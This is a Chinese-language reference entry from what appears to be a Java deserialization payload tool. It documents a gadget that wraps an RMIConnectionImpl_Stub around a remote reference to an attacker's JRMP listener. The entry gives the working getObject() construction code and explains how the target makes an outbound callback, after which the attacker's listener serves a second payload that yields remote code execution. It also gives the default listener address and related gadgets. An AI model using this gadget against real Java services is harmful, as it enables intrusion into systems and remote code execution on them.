- 类别:javanative 别名:— 优先级:—
- 作者:—
- 依赖:无显式第三方依赖(依赖 JDK 内置
javax.management.remote.rmi.RMIConnectionImpl_Stub与sun.rmi.*)
用 RMIConnectionImpl_Stub 作为承载类构造一个"指向攻击者 JRMP 端点"的 RMI Stub 对象。目标反序列化并(后续)触碰该 stub 的远程方法时,会向攻击者监听器发起出站 JRMP 连接,由监听器投递二次序列化 payload。它是 JRMPClient2 的同族变体——同样打回连,但不篡改 UnicastRemoteObject.ssf,而是直接以 stub 形式出网。
- 入口
tags:JavaNativeDeserialize—— 承接 Java 原生反序列化入口。 END:链尾终结点,自身即完成出站利用,其后不再接 gadget。- 衔接
nextTags:空。 excludes:空。
getObject() 结构与 JRMPClient2 前半段一致,差异在承载对象:
public Object getObject() throws Exception {
int sep = this.address.indexOf(58); // 解析 "host:port"
if (sep < 0) { port = new Random().nextInt(65535); host = this.address; }
else { host = this.address.substring(0, sep); port = Integer.valueOf(this.address.substring(sep + 1)); }
ObjID id = new ObjID(new Random().nextInt());
TCPEndpoint te = new TCPEndpoint(host, port);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false)); // 指向攻击者端点
RMIConnectionImpl_Stub obj = new RMIConnectionImpl_Stub(ref); // 用 stub 直接承载 ref
return obj;
}逐段解释:
- 端点与引用:同样以
TCPEndpoint(host, port)+LiveRef+UnicastRef组成指向攻击者的远程引用ref。 - 承载差异:直接
new RMIConnectionImpl_Stub(ref)。RMIConnectionImpl_Stub是 JMX 远程连接的标准 stub,构造时把ref存入其父类RemoteObject.ref字段;它本身可序列化(RemoteObject自定义了writeObject/readObject序列化ref)。 - 触发点:反序列化恢复该 stub 后,一旦其任意远程方法(stub 内部通过
super.ref.invoke(...))被调用,UnicastRef就会连往ref所指端点,产生出站 JRMP 连接。相比 JRMPClient2 借ssf代理触发,此变体的触发依赖对 stub 方法的调用路径,绕过点/兼容性不同。 invoke仅调用getObject(),不取chain.doCreate,为自足终结点。
| 字段 | 名称 | 说明 | 默认 | 可选值 |
|---|---|---|---|---|
address |
JRMPListener Address | 攻击者 JRMP 监听器地址 host:port |
127.0.0.1:13999 |
任意 |
description标注承载类javax.management.remote.rmi.RMIConnectionImpl_Stub。- 未标注 JDK 上限依赖,但作为 JRMP 出网型,同样受高版本 RMI 加固(
useCodebaseOnly、8u241+ 收敛)影响;需目标可主动出网。 - RCE 由攻击者监听端返回的二次 payload 完成,本 gadget 只负责建立回连。
自由构件,未直接出现在预设链(usedInChains 为空)。
- 同族:JRMPClient2(
UnicastRemoteObject+ 恶意ssf变体) - 反向配套:JRMPListener(在目标上开监听端口)
- 上游入口:任何
JavaNativeDeserialize反序列化 sink。